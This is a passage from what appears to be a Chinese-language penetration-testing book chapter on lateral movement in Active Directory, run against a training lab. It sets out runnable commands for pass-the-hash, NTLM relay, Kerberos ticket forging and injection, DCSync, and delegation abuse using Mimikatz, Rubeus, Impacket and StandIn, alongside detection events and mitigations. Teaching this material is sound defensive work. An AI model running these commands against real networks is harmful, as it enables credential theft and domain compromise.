LAPSToolkit:
github.com/leoloobeek/LAPSToolkit
-
Get-LAPSPasswords:
github.com/kfosaaen/Get-LAPSPasswords
-
DSInternals:
github.com/MichaelGrafnetter/DSInternals
-
GMSAPasswordReader:
github.com/rvazarkar/GMSAPasswordReader
-
gMSADumper:
github.com/micahvandeusen/gMSADumper
-
DCSYNCMonitor:
github.com/shellster/DCSYNCMonitor
-
通过 ETW 检测 DCSync 攻击:
www.netero1010-securitylab.com/detection/dcsync-detection
进一步阅读
以下资源将帮助你深入了解本章涵盖的攻击内容:
-
WebDAV 滥用及进一步攻击路径的详细解析:
pentestlab.blog/2021/10/20/lateral-movement-webclient/
-
AS-REP 烤制过程中生成的流量样本和事件 ID 的精彩解析:
rioasmara.com/2020/07/04/kerberoasting-as-req-pre-auth-vs-non-pre-auth/
-
一篇重点讲解检测和防止 AS-REP 攻击的博客文章:
blog.netwrix.com/2022/11/03/cracking_ad_password_with_as_rep_roasting/
-
关于如何在该领域实现和滥用 gMSA 的逐步指南:
www.dsinternals.com/en/retrieving-cleartext-gmsa-passwords-from-active-directory/
-
Cube0x0发布的关于 gMSA 密码的 NTLM 转发博客文章:
cube0x0.github.io/Relaying-for-gMSA/
第五章:域内和跨森林的横向移动
在对手在环境中建立立足点和/或收集有效凭证之后,下一步通常是横向移动。横向移动是一组技术,允许攻击者深入目标环境,寻找高价值资产和敏感数据,包括新凭证。
我们将从一个场景开始,假设攻击者获得了明文密码(例如,成功的密码喷洒攻击),现在试图通过滥用管理协议来与常规环境流量混淆。接下来,我们将讨论如何转发哈希值以及使此操作成功的前提条件。为了执行横向移动,攻击者不仅需要 新技术局域网管理器(NTLM)响应或明文密码;它可以是任何其他形式的凭证材料:NT 哈希、密钥或票证。由于 Kerberos 被微软推荐作为域中的主要安全认证协议,我们将详细介绍三种 Kerberos 委派类型。最后,我们将重点讨论仅在森林之间的横向移动,以及名为 SID 过滤的安全机制如何阻止它。
在本章中,我们将涵盖以下主要主题:
-
滥用管理协议进行横向移动
-
转发哈希
-
通过任何方式
-
Kerberos 委派
-
域和森林之间的移动
技术要求
本章内容,你将需要访问以下资源:
-
VMware Workstation 或 Oracle VirtualBox,至少 16 GB 内存,8 个 CPU 核心,以及 55 GB 总存储空间(如果你拍摄快照,需更多空间)
-
强烈推荐使用基于 Linux 的操作系统
-
安装了对应虚拟化平台插件和 Ansible 的 Vagrant
-
GOADv2 项目,所有机器均已启动并运行
在域中使用管理协议
在本节中,我们将讨论 IT 员工通常在域内用于日常支持活动的各种管理协议。我们将讨论 PowerShell 功能,例如 PSRemoting 和 Just Enough Administration
(JEA)。远程桌面协议(RDP)也是管理中最常用的协议之一。我们还将简要介绍其他可以用于横向移动的协议,如 WMI、SMB、DCOM 和来自 Impacket 的 PSExec。
PSRemoting 和 JEA
PSRemoting
允许你连接到多台计算机并在其上执行命令。另一种选择是,你可以在目标机器上获得一对一的交互式 shell。为了简化理解,你可以将其视为 SSH,但它是在 Windows 上运行 PowerShell 命令的工具。简而言之,客户端尝试连接到运行在目标服务器上的一个小型 Web 服务器,称为 WinRM 监听器。HTTP 或 HTTPS 协议可以用于提供认证的传输。我们可以通过运行以下命令来列出可用的监听器:
winrm e winrm/config/listener
以下截图显示了 SRV02 上此命令的输出:
图 5.1 – SRV02 上的 WinRM 监听器
让我们使用以下命令登录到远程计算机:
Enter-PSSession -ComputerName castelblack
认证过程中的流量捕获将如以下截图所示:
图 5.2 – PSRemoting 登录流量捕获
如果我们使用的是 Linux 机器,可以尝试evil-winrm
工具[1]来获取交互式 Shell。此外,PSRemoting 支持不同的身份验证协议。我们将仅关注 Kerberos 身份验证。为了能够登录到机器,用户应属于管理员或远程管理用户组。此外,需要提到的是,通过填写 WinRM 配置中的受信任主机选项并应用 HTTPS 作为传输协议来配置受信任主机列表,将有助于提高环境的安全性。
在某些环境中,您可能会遇到即时管理(JIT)和/或 JEA。JIT 是一种安全概念,其中管理员权限可以基于时间动态分配和撤销。JEA 是一种限制某些用户在机器上远程执行操作的概念。这里有一个在实验室环境中为培训目的设置 JEA 的良好示例[2]。我们不会详细讲解这个内容,但提到这些安全机制还是很重要的。像往常一样,任何安全边界都可以在配置不安全的情况下被绕过。
注意
可以在这里找到一个包含逃逸技巧的优秀演示:www.triplesec.info/slides/3c567aac7cf04f8646bf126423393434.pdf
。一个名为 RACE[3]的强大工具包可以帮助通过 JEA 实现持久化,该工具包由Nikhil Mittal发布。
现在,让我们讨论第二种最常见的管理协议,即 RDP。
RDP
RDP 允许你连接到远程计算机,并提供与直接坐在计算机前的相同体验,包括图形用户界面(GUI)。如果你有被攻陷用户的明文凭证,可以使用 RDP 访问目标机器。BloodHound 工具在枚举期间会发现这些信息。为了识别此类用户,BloodHound 会收集计算机上远程桌面用户组的成员和在本地安全策略(LSA)中拥有SeRemoteInteractiveLoginPrivilege
权限的主体。如果有用户符合这两个条件,则会出现CanRDP
边缘[4]。连接时,我们可以使用 Windows 自带客户端或来自 Kali Linux 的xfreerdp
。
如果我们只有 NT 哈希值,我们可以利用名为 受限管理员 模式的功能。在此模式下,凭据不会被发送到远程计算机,也不会存储在内存中,因为它将登录方式转换为 网络登录(类型 3),而不是 远程交互式登录(类型 10)。这看起来是一个不错的安全措施,但这也是我们可以将哈希传递到 RDP 的原因。主要的警告是,受损的用户必须属于 管理员 组,并且此模式需要启用。我们来快速演示这个模式的实际操作。要以 eddard.stark
用户身份登录到 winterfell,我们可以先通过 Mimikatz 进行 pass-the-hash,或者从 Linux 机器上使用 xfreerdp
:
xfreerdp /u:eddard.stark /d:north.sevenkingdoms.local /pth:D977B98C6C9282C5C478BE1D97B237B8 /v:192.168.56.11
运行此命令的结果如下图所示:
图 5.3 – 未启用受限管理员模式
幸运的是,GitHub 上有一个名为 RestrictedAdmin
的工具[5]。但是,它并不符合操作安全(OpSec)的标准,因为它会更改可能被蓝队监控的注册表项;不同类型的登录也会出现在事件日志中。运行以下命令将启用远程机器上的此模式:
图 5.4 – 启用受限管理员模式
现在,我们可以使用 pass-the-hash 方式登录 RDP:
图 5.5 – 成功通过 RDP 登录到目标机器
关于 RDP 还有两件值得分享的事:首先,感谢 SharpRDP
工具[6],我们可以在我们偏好的指挥控制软件中,通过 RDP 实现非图形化的经过认证的远程命令执行。
其次,我们可以通过多种方式从端点转储 RDP 凭据,例如从进程内存中转储,使用 SharpRDPThief
[7],或使用 Mimikatz 从 Windows 凭据管理器中获取。
一个可能的缓解建议是使用 Windows Defender 远程凭据保护 来保护远程桌面凭据。它仅允许使用 Kerberos 进行认证,并防止在断开连接后发生 pass-the-hash 和凭据重用。多因素认证(MFA)是另一个值得考虑的好选项。
接下来,我们将讨论如何使用 Impacket 进行横向移动。虽然这些协议也可以通过 Windows 工具滥用,但引入 Impacket 对于知识的扩展和后续章节的内容是很重要的。
使用 Impacket 的其他协议
Impacket
[8] 是一组为处理各种网络协议而创建的 Python 类。在 example
文件夹中,有许多有用的 Python 脚本,允许你进行多种横向移动方法,处理 Kerberos,访问 Windows 密码,执行转发攻击等。这个工具包是 Rubeus 等工具的一个很好的替代方案,因为后者在 Linux 上不可用。我们可以在 Impacket 中选择以下横向移动选项:
-
PSExec
是一个非常引人注意的工具,能够迅速吸引防御者的注意,因为它会上传可执行文件并创建服务。 -
SmbExec
在每次请求时创建服务,但不会上传任何文件。 -
AtExec
会以SYSTEM
权限在C:\Windows\System32\Tasks\
创建一个带有随机名称的计划任务,并将输出保存在C:\Windows\Temp\
目录中的文件中。 -
DCOMExec
需要创建文件。 -
WMIExec
需要创建和删除文件。
这些技术中的大部分可以通过增强的监控手段被捕捉到,比如使用 Sysmon 以及关联 Windows 事件日志。
另外,一个好的防御策略是部署 攻击面缩减(ASR) 规则。ASR 防止端点上的典型恶意行为,例如从不同应用程序创建进程,防止执行基于来源和各种条件的文件,加载有漏洞的签名驱动程序等等。
在接下来的部分,我们将讨论 NTLM 响应转发攻击以及不同类型的哈希。
哈希转发
在上一章中,我们讨论了通过强制身份验证或使用中间人攻击来捕获 NTLM 响应的不同方法。现在,我们要解答为什么要捕获响应。在实际操作之前,需要先解释一些理论概念和注意事项。
首先,NTLM 协议有两个版本(v1 和 v2)。接下来,NTLM 身份验证消息可以跨协议转发,因为它们与协议无关。理解捕获 NTLM 身份验证时使用了什么协议以及我们计划通过什么协议进行转发是非常重要的。以下的思维导图是 nwodtuhs 创建的,是我们讨论的一个很好参考。
图 5.6 – NTLM 转发
让我们更多地关注一个重要的话题,那就是签名,特别是针对 SMB 和 LDAP。签名配置及其存在由客户端和服务器端的设置控制。对于 SMB,这将取决于协议版本以及服务器是否为域控制器。关键点是,SMB v2 的签名必须由服务器和/或客户端要求。LDAP 行为有所不同,如果双方都能做到,数据包将会被签名,但并非强制要求。
注意
LDAP 和 SMB 签名配置与协商的显著例子可以在这里找到:en.hackndo.com/ntlm-relay/
。
但是会话签名是在 NTLM 身份验证期间协商的,也许我们可以尝试取消它?在这里,我们将进一步了解消息完整性码(MIC),它仅在 NTLM v2 中可用。MIC
是一个签名,来自通过HMAC_MD5
函数计算的几个参数。最重要的参数是会话密钥,它依赖于客户端的密钥,以及一个值,表示是否协商了签名。如果我们不知道客户端的密钥,则无法更改MIC
。然而,来自一家名为Preempt的公司的研究人员发现了两个漏洞,分别被方便地命名为Drop the MIC
(CVE-2019-1040)和Drop the MIC 2
(CVE-2019-1166),允许简单地移除MIC
。
另一个漏洞,CVE-2019-1019
,是CVE-2015-005
的继任者,允许通过在建立NETLOGON
通道时缺少计算机名来获取任何认证尝试的会话密钥。详细的攻击演示可以在这里找到[9]。
最后我们要讨论的是身份验证扩展保护(EPA)。它是针对跨协议中继攻击引入的,目的是将身份验证层与协议绑定。如果要求绑定 TLS 通道(LDAPS 或 HTTPS),则服务器证书哈希(称为通道绑定令牌)将作为 NTLM 响应的一部分使用,这意味着没有知道客户端密钥的情况下无法伪造。对于非 TLS 协议,如 CIFS 或 HTTP,该字段称为服务绑定信息。这个想法与 TLS 绑定非常相似,但不是使用证书的哈希目标,而是会检查 NTLM 响应中的服务主体名称(SPN)。在两种情况下,如果不匹配,将导致“访问被拒绝”错误。
这是一大堆理论!让我们转到一些实践操作,看看它的好处。
注
如果某些事情没有按预期进行,下面的实验室创建者会帮你解决:mayfly277.github.io/posts/GOADv2-pwning-part4/
。
首先,我们列出不需要 SMB 签名的机器。我们可以使用CrackMapExec
来完成:
crackmapexec smb 192.168.56.10-23 --gen-relay-list smb_relay.txt
以下是机器列表:
图 5.7 – 禁用 SMB 签名的机器
在上一章中,我们捕获了eddard.stark
的 NTLM 响应,因为计划任务在 DNS 名称中有一个拼写错误。现在,让我们利用这个进行中继攻击。我们通过编辑/etc/responder/Responder.conf
并运行ntlmrelayx
来禁用 Responder 中的 SMB 和 HTTP 服务器,从而以eddard.stark
用户的身份在 castelblack 上转储 SAM 数据库,因为该用户在 castelblack 上具有管理员权限:
impacket-ntlmrelayx -tf smb_relay.txt -smb2support
以下截图显示了转储安全帐户管理器(SAM)数据库的结果:
图 5.8 – 中继 NTLM v2 响应并转储 SAM 数据库
需要提到的是,自 MS08-68
以来,无法将哈希值中继到自身。ntlmrelayx
还有一个选项 (--socks),可以使用 SMB 连接作为 SOCKS
代理,避免嘈杂的登录并且不需要在主机上获得管理员权限。然后,我们可以使用代理链来运行我们想要的工具。
下一步,我们将使用中继进行 LDAP 枚举。由于域控制器要求签名,因此我们无法中继通过 SMB 获取的哈希值,因此如果已安装 WebDAV 服务(如 Jean_Maes_1994 在这里所示:www.trustedsec.com/blog/a-comprehensive-guide-on-relaying-anno-2022/
)或者尝试 mitm6
,我们可以使用 WebDAV 服务。实验室创建者演示了如何使用 mitm6
工具包,因此我们将展示 WebDAV 场景,并在实验室中对 castelblack
进行必要的更改。
注
在我们开始之前,您可以在这里阅读更多信息:www.thehacker.recipes/ad/movement/mitm-and-coerced-authentications/webclient
。
作为在 castelblack 上的第一个准备步骤,我们需要通过 PowerShell 以 管理员 身份安装一个名为 WebDAV Redirector
的功能:
Install-WindowsFeature WebDAV-Redirector –Restart
在以下截图中,我们可以看到该功能已成功安装,且服务已停止:
图 5.9 – WebClient 服务已成功安装
现在让我们通过将 .searchConnector-ms
文件放置在公共共享上,强制启动 WebClient 服务,正如 MDSec 研究人员所描述的那样,内容如下:
<?xml version="1.0" encoding="UTF-8"?> <searchConnectorDescription > <iconReference>imageres.dll,-1002</iconReference> <description>Microsoft Outlook</description> <isSearchOnlyItem>false</isSearchOnlyItem> <includeInStartMenuScope>true</includeInStartMenuScope> <iconReference>https://192.168.56.22/public/0001.ico</iconReference> <templateInfo> <folderType>{91475FE5-586B-4EBA-8D75-D17434B8CDF6}</folderType> </templateInfo> <simpleLocation> <url>https://example.com/</url> </simpleLocation> </searchConnectorDescription>
然后我们可以验证服务是否成功启动。如果我们不知道网络中有任何运行 WebClient 服务的服务器,我们可以使用 CrackMapExec
模块 WebDAV
扫描 IP 范围:
crackmapexec smb 192.168.56.0/24 -u arya.stark -p Needle -d north -M webdav
我们的侦查活动结果显示在以下截图中:
图 5.10 – WebClient 服务侦查
下一步是使用强制方法触发通过 HTTP 向我们的 Kali 机器进行认证,然后将其中继到 LDAP。我们将需要一个禁用 HTTP 服务器的 Responder 和 ntlmrelayx
:
python3 dementor.py -u arya.stark -d north.sevenkingdoms.local -p Needle 192.168.56.100 192.168.56.22
在本次练习中,我选择了 PrinterBug 作为强制方法,并通过名为 dementor
[10] 的工具在 Linux 上实现。以下截图显示了转储域信息的结果:
图 5.11 – 域枚举 LDAP
作为最后一个示例,我想展示 CVE-2019-1040
的实际操作。Mayfly 在实验室中引入了一个易受攻击的服务器。为了找到易受攻击的主机,我们可以使用由 _dirkjan[11] 创建的扫描器。以下命令将检查目标是否存在漏洞:
python3 scan.py essos/khal.drogo:horse@192.168.56.23
如果我们尝试在已修补的系统中将 SMB 转发到 LDAP,将导致 ntlmrelayx
出现以下错误:
图 5.12 – SMB 到 LDAP 转发失败
但是,如果存在Drop the MIC漏洞,我们可以添加–remove-mic标志,从而成功转发,如下图所示:
图 5.13 – Drop the MIC 允许转发
注意
要获取更多有关如何防止某些类型转发的信息,我们可以参考 Nettitude 博客文章(labs.nettitude.com/blog/network-relaying-abuse-windows-domain/
)作为良好的起点。
阻止转发攻击向量需要检查和测试大量服务,因此可以对 SMB、LDAP、LDAPS 和 HTTPS 强制实施签名。精细调整 IPv6,并禁用广播协议和未使用的服务作为域加固练习。尽量只在域内使用 Kerberos 进行认证,但如果无法实现,则只使用 NTLM v2。必须完全禁用 NTLM v1!
在下一节中,我们将讨论攻击者能够攻陷机器并提取凭证(如 NT 哈希、AES 密钥或票证)后,如何执行横向移动。
通行证—任意传递
本节内容是关于冒充(身份伪装)的。假设攻击者入侵了一台机器,并通过多种可用方式之一,从 LSASS 进程中获取了哈希凭证。通常,下一步是通过启动新的登录会话并尝试访问其他公司资源来执行横向移动。我们将讨论执行此类活动的最常见方法,以及与操作安全相关的注意事项。通行证传递证书将在与Active Directory 证书服务相关的第八章中进行讲解。
通行证—任意传递
我们将从经典的通行证—任意传递开始。该认证方法本身相当简单,完全依赖于 NTLM 协议,完全不涉及 Kerberos。此技术可用于本地和域账户。要执行通行证—任意传递攻击,攻击者需要在目标机器上拥有管理员权限。
注意
hackndo
在其博客文章中详细描述了发生的过程,可以参考:en.hackndo.com/pass-the-hash/
该技术可以借助 Mimikatz 在提升的权限上下文中执行。在我们的示例中,攻击者能够攻陷一个本地管理员vagrant
用户,并为该用户提取具有域管理员权限的 NT 哈希。在我们的案例中,是robert.baratheon
,属于sevenkingdoms
域。我们可以通过运行以下命令来执行通行证—任意传递:
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:robert.baratheon /ntlm:9029CF007326107EB1C519C84EA60DBE /domain:sevenkingdoms.local /run:powershell.exe"'
执行情况如下截图所示:
图 5.14 – 使用 Mimikatz 的 Pass-the-Hash 攻击
结果是,我们将打开一个新的 PowerShell 窗口。不要误解,我们在新的 PowerShell 会话中显示为 vagrant
用户。实际上,我们已经冒充了 robert.baratheon
用户。以下截图证明了这一点,在 PSRemoting 会话中可以看到这一点。
图 5.15 – 用于访问域控制器的 Pass-the-Hash 攻击
此外,还有一个名为 用户帐户控制(UAC)的警告,它可以限制我们成功横向移动后,对新受损机器的远程管理操作。它将依赖于两个注册表值,LocalAccountTokenFilterPolicy
和 FilterAdministratorToken
,它们位于 HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System
。默认情况下,只有内置管理员(其 相对标识符(RID)为 500)和具有本地管理员权限的域帐户才能在未激活 UAC 的情况下执行远程管理任务。
现在,我们可以讨论如何检测此技术。检测 Pass-the-Hash 最好的方法是查看源主机上的 4624
和 4672
事件。事件 4624
的登录类型为 9
,登录过程为 seclogo
,如以下截图所示:
图 5.16 – 执行 Pass-the-Hash 攻击的主机上的事件 4624
事件 ID 4672
标识当前登录帐户的特权登录,而不是新帐户,如下截图所示:
图 5.17 – 执行 Pass-the-Hash 攻击的主机上的事件 4672
域控制器将不会有对应的事件 ID 4768
和 4769
。此外,我们不应忘记,通过使用 Sysmon,我们可以可靠地检测对 LSASS 进程的访问,这通常是在使用 Mimikatz 执行 Pass-the-Hash 攻击时发生的。通过结合这两个事件,我们可以可靠地检测到 Pass-the-Hash 攻击。
注意
微软的 Defender for Identity 表示,它可以通过分析用户常用的计算机中是否使用了 NT 哈希值来检测 Pass-the-Hash 攻击 (learn.microsoft.com/en-us/defender-for-identity/lateral-movement-alerts
)。
Pass-the-key 和 Overpass-the-hash
Pass-the-key 和 overpass-the-hash 是针对 Kerberos 认证的攻击。其计划是通过提供用户密码派生出的用户秘密密钥(DES
、RC4
、AES128
或 AES256)来获取有效的 Kerberos TGT。如果启用 RC4,意味着用户的 NT 哈希是一个密钥,这就是 overpass-the-hash
。如果禁用 RC4,可以传递其他 Kerberos 密钥,这称为 pass-the-key
。现在,默认情况下,Windows 使用 AES256
密钥,其加密类型值为 0x12
。请求降级的 RC4 加密类型将具有加密类型值 0x17
。此值可以在域控制器的事件 4768
中找到。作为攻击者,使用 Rubeus,普通用户可以通过运行以下命令请求 Kerberos TGT:
Rubeus.exe asktgt /domain:sevenkingdoms.local /user:robert.baratheon /rc4:9029CF007326107EB1C519C84EA60DBE /ptt
结果,一个票证将被注入到内存中,并且将获得对 c$
域控制器的访问权限,如下图所示:
图 5.18 – 因为 overpass-the-hash 注入的票证
以下是请求 RC4 降级的事件 4768
:
图 5.19 – 事件 4768 中的降级加密类型
如果使用 Mimikatz,LSASS 访问规则可以检测到这两种技术,并且会出现登录用户与其 Kerberos 票证之间的不匹配。在现代 Windows 环境中,降级的加密类型会变得非常明显,并且会被调查。Rubeus 具有 /opsec
标志,它会发送一个初始的 AS-REQ 请求,而无需预身份验证,从而模拟真实的请求。这个选项旨在使流量更加隐蔽,这也是为什么只允许使用 AES256
加密类型的原因。通过使用 Mimikatz 可以提取此密钥:
mimikatz.exe "privilege::debug" "sekurlsa::ekeys"
让我们再创建一个票证,并将生成的事件与之前的事件进行比较:
Rubeus.exe asktgt /user:robert.baratheon /aes256:6b5468ea3a7f5cac5 e2f580ba6ab975ce452833e9215fa002ea8405f88e5294d /opsec /ptt
以下是 Windows 事件的截图:
图 5.20 – Rubeus 在事件 4768 中使用 /opsec 选项
我们可以看到,票证选项(感谢 /opsec
选项)和 票证加密类型 已经发生了变化。如果我们想完全模拟真实的 Kerberos 认证,还需要考虑 提供的领域名称,对于真实的请求,这将是 SEVENKINGDOMS
(此时 /domain
选项会派上用场):
图 5.21 – 真实 TGT 请求的提供领域名称
最具挑战性的问题是,Rubeus 会生成 Kerberos 流量,这意味着它可能会被各种防御工具检测到。这是需要考虑的事项。
Pass-the-ticket
最后,我们可能会遇到获取票证注入或能够伪造票证的情况。我们将在第七章中讨论四种伪造票证的类型,并展示如何伪造、使用和检测这些票证。
此外,票证可以从内存中提取,或者以 Linux(.ccache)或 Windows(.kirbi)格式存储在文件系统中。在 Windows 中,注入后的票证(Rubeus 中的 /ptt
选项)可以原生使用,正如我们在前面的示例中看到的那样。现在我们来使用相同的票证,但在 Kali 机器上。首先,我们需要使用 Impacket 中的 ticketConverter
将其从 kirbi
格式转换为 ccache
格式,然后导出票证。相关命令显示在以下截图中:
图 5.22 – 来自 Rubeus 的票证转换
然后,我们可以使用以下命令通过传票进行远程访问(只需在 Kali 机器上添加 /etc/hosts
记录即可):
impacket-wmiexec -k -no-pass sevenkingdoms.local/robert.baratheon@kingslanding.sevenkingdoms.local
代码执行显示在以下截图中:
图 5.23 – 用于命令执行的传票攻击
注意
此攻击的检测指南可以在这里找到:www.netwrix.com/pass_the_ticket.xhtml
。通常,这一策略与 pass-the-key 攻击相同。已发布一个概念验证代码,用于检查登录用户与颁发的 Kerberos 票证之间的不匹配[12]。
在接下来的部分中,我们将讨论三种类型的 Kerberos 委派,以及如何将它们滥用进行横向移动。这种攻击类型也可以被视为权限提升攻击。
Kerberos 委派
首先,我们需要讨论什么是委派以及为什么它存在。Active Directory 中的服务有时需要代表域用户被其他服务访问。可以想象一个 Web 服务器代表用户在后台进行数据库认证。Active Directory
(AD)中有三种委派类型——不受限委派、受限委派和基于资源的委派。关于委派的信息可以通过使用 BloodHound、PowerView 或 AD 模块找到。我们将在接下来的章节中介绍各种委派类型。
注意
对于我们的实验,Mayfly 一如既往地准备了一个很棒的操作指南:mayfly277.github.io/posts/GOADv2-pwning-part10/
。
不受限委派
我们将从最古老的委派类型开始。启用不受限委派的计算机或用户可以将任何身份验证用户或计算机伪装为任何主机上的任何服务。如果我们攻陷了启用了不受限委派的用户或机器,那么我们可以等待或强制对其进行身份验证,从内存中的 ST 缓存中提取目标用户/计算机的 TGT,然后将其重复使用以跨域或甚至森林访问。默认情况下,域控制器启用不受限委派。
注意
我建议查看www.thehacker.recipes/ad/movement/kerberos/delegations/unconstrained
,以了解如何从攻击者的 Linux 机器上滥用不受限委派。
我们将启用 Castelrock 上的不受限委派,如下图所示:
图 5.24 – 启用不受限委派的 Castelrock
要查找启用了不受限委派的计算机,我们可以使用 PowerView:
Get-DomainComputer -Unconstrained | select dnshostname, useraccountcontrol
输出显示了域控制器(kingslanding)和castelrock
服务器,其中useraccountcontrol
属性中带有TRUSTED_FOR_DELEGATION
标志:
图 5.25 – 启用不受限委派的计算机
注意
此外,我们可以使用 LDAP 过滤器 (userAccountControl:1.2.**
840.113556.1.4.803:=524288**) 与 AD PowerShell 模块一起使用。
下一步,我们假设我们已经成功攻陷了castelrock
服务器,因此可以滥用不受限委派。在提升的权限下,我们将启动 Rubeus 监控模式:
Rubeus.exe monitor /interval:3 /nowrap
从标准用户上下文,我们通过使用 PrinterBug 强制从域控制器进行身份验证:
图 5.26 – 强制域控制器进行身份验证
结果,我们捕获了域控制器的 TGT:
图 5.27 – 域控制器的 TGT
现在,我们将使用 Rubeus 在内存中注入此票证,并使用 Mimikatz 转储域管理员的 NT 哈希:
Rubeus.exe ptt /ticket:"base64_ticket_from_capture"
Mimikatz.exe "lsadump::dcsync /user:robert.baratheon"
上一个命令的结果可以在以下截图中看到:
图 5.28 – 域管理员用户的 NT 哈希
注意
一个关于如何使用krbrelayx
滥用不受限委派的很好的示例可以在这篇博客文章中看到:pentestlab.blog/2022/03/21/unconstrained-delegation/
。
为了防止滥用,请检查是否仅在域控制器上启用了不受限制的委派。如果其他地方确实需要不受限制的委派,请确保所有特权帐户具有敏感且无法委派标志,或者是受保护用户组的成员,因为这些帐户的 TGT 将在服务票证中无法委派。
基于资源的受限委派
在 Windows 2012 中,引入了一种新的委派类型,称为基于资源的受限委派(RBCD)。其思想是,委派由目标服务管理员在目标上配置,而不是在源上配置。这写入了msDS-AllowedToActOnBehalfOfOtherIdentity
属性。滥用 RBCD 的最常见方法是创建计算机帐户,编辑目标委派属性,并获取票证。
首先,我们将从枚举开始。我们需要找出机器帐户配额值(默认情况下,每个域用户可以创建 10 个帐户),并检查 RBCD 是否已经实现,以及域中是否有任何计算机上存在GenericAll
或GenericWrite**
访问控制列表(ACLs**)。
机器配额可以通过FuzzySec编写的StandIn
工具[13]找到:
StandIn.exe --object ms-DS-MachineAccountQuota=*
我们可以看到该域使用的是默认值:
图 5.29 – 默认机器帐户配额值
你还可以使用 PowerView 枚举机器帐户配额:
Get-DomainObject -Identity "dc=sevenkingdoms,dc=local" -Domain sevenkingdoms.local
下一步是枚举域中的 ACL。我们可以使用 PowerView 的Invoke-ACLScanner
或类似工具来完成。以下截图显示了有趣的输出:
图 5.30 – 用户在域控制器上具有 GenericAll 权限
现在,我们可以通过使用 PowerMad[14]、Impacket 中的addcomputer
,或在我们这个案例中使用StandIn
来创建计算机帐户:
StandIn.exe --computer MyDesktop --make
结果如以下截图所示:
图 5.31 – 创建了一个新的计算机帐户
如果我们妥协了stannis.baratheon
用户,该用户可以更改kingslanding
上的属性,那么通过向域中添加计算机帐户,我们可以使用 PowerShell AD 模块、PowerView 或 StandIn 将msDS-AllowedToActOnBehalfOfOtherIdentity
属性设置为新创建的计算机帐户:
Get-DomainComputer "MyDesktop" -Properties objectsid
StandIn.exe --computer "kingslanding" --sid "S-1-5-21-4243769114-3325725031-2403382846-1122"
之前命令的结果如下图所示:
图 5.32 – 创建了一个新的计算机帐户
现在,我们可以获取一个票证:
Rubeus.exe hash /password:cQkFGq47oafTact /user:MyDesktop$ /domain:sevenkingdoms.local
Rubeus.exe s4u /user:MyDesktop$ /aes256:10AB7F32 B28F27AA7903D168C32C12A469EC7174783D6B5F52E8C10831FBE605 /msdsspn:http/kingslanding /impersonateuser:administrator /ptt
结果可以在以下截图中看到:
图 5.33 – 成功的 RBCD 攻击
此外,我们还可以通过使用Nikhil Mittal编写的 RACE 工具包,通过修改计算机对象的权限来实现持久化。
为了防止 RBCD 滥用,我们可以定期审查域中的 ACL,减少机器账户配额至0
(ms-DS-MachineAccountQuota),并确保只有特权用户能够将机器添加到域中。此外,应用敏感且不可委托账户属性和受保护用户组来保护高特权账户。需要特别说明的是,仅将机器账户配额设置为0
并不能防止此类攻击[15]。
受限委托
无约束委托与受限委托的主要区别在于,一个账户仅能针对特定服务模拟用户。它可以配置为(使用任何认证协议)或不使用(仅使用 Kerberos)协议转换,如以下委托属性所示:
图 5.34 – 受限委托配置
在这种情况下,委托使用了两个 Kerberos 扩展,分别是为用户自服务(S4U2Self)和为用户代理服务(S4U2Proxy)。
注意
关于 Kerberos 扩展及其工作原理的详细信息可以在此处找到:https://www.netspi.com/blog/technical/network-penetration-testing/cve-2020-17049-kerberos-bronze-bit-theory/。
简而言之,S4U2Proxy 协议允许一个服务代表用户在没有协议转换的受限委托情况下为另一个服务获取服务票证。在协议转换的情况下使用 S42Self 协议,允许服务在没有使用 Kerberos 认证(例如,NTLM v2)的情况下,代表用户为自身获取服务票证。然后,可以像往常一样使用 S4U2Proxy 协议。
受限委托可以为用户和计算机账户配置。使用 PowerView 进行枚举可以通过以下命令:
Get-DomainUser -TrustedToAuth | select samaccountname, msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | select dnshostname, msds-allowedtodelegateto
枚举结果如以下截图所示:
图 5.35 – 枚举启用了受限委托的用户和计算机
另一种方法是使用 Impacket 中的findDelegation
Python 脚本:
findDelegation.py NORTH.SEVENKINGDOMS.LOCAL/samwell.tarly:Heartsbane -target-domain north.sevenkingdoms.local
结果还将显示受限委托类型:
图 5.36 – 枚举委托类型
使用协议转换的受限委托可能会被滥用,通过以下命令:
Rubeus.exe s4u /msdsspn:CIFS/winterfell /impersonateuser:Administrator /domain:north.sevenkingdoms.local /user:jon.snow /rc4:B8D76E56E9DAC90539AFF05E3CCB1755 /altservice:HTTP /ptt
winrs -r:winterfell cmd.exe
结果可以在以下截图中看到:
图 5.37 – 协议转换滥用的受限委托结果
需要特别说明的是,SPN 部分在请求中未加密,这就是为什么我们可以使用 Rubeus 中的/altservice
选项来获取服务票证——在我们这个例子中,是 WinRM。
注意
可用服务的详细列表可以在这里找到:book.hacktricks.xyz/windows-hardening/active-directory-methodology/silver-ticket#available-services
。
HTTP 服务配置时未进行协议转换,如下图所示:
图 5.38 – 配置了无协议转换的受限委托
在这种情况下,S4U2Self 请求不会导致可转发的票证,因此 S4U2Proxy 将无法工作。滥用无协议转换的受限委托的两种已知方法是:对服务执行 RBCD 攻击,或强制用户对服务进行身份验证以提取票证。为了滥用无协议转换的受限委托,我们将创建一个计算机账户,并将 castelblack
设置为允许从该账户进行 RBCD(我们需要 SYSTEM
权限来设置此属性)。然后,我们将以 administrator
身份委托到 castelblack
,最后,我们可以在 S4U2Proxy 请求中使用这个可转发的 ST 来访问 Winterfell
服务。听起来很复杂,但我们将一步一步执行这个攻击。
在第一步中,我们将创建一个会话作为 Castelblack$
,创建一个名为 Test$
的计算机账户,检索其 安全标识符(SID),并将 Castelblack$
的 msDS-AllowedToActOnBehalfOfOtherIdentity
属性设置为 Test$
。我将使用 Mimikatz、PowerView 和 StandIn:
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:castelblack$ /ntlm:abd0f0459c9d6119d092d1bd87cb958b /domain:north.sevenkingdoms.local /run:cmd.exe"
StandIn.exe --computer Test --make
Get-DomainComputer -Name Test -Properties objectsid
StandIn.exe --computer castelblack --sid S-1-5-21-3600105556-770076851-109492085-1605
StandIn 命令的结果如以下截图所示:
图 5.39 – 创建计算机账户并准备 RBCD 滥用
接下来,我们将从计算机账户的密码计算出 AES256 密钥,并在 Castelblack$
上使用 Test$
滥用 RBCD。现在,我们拥有 Castelblack$
的可转发 ST:
Rubeus.exe hash /domain:north.sevenkingdoms.local /user:test$ /password:yN26WROLQvUCa30
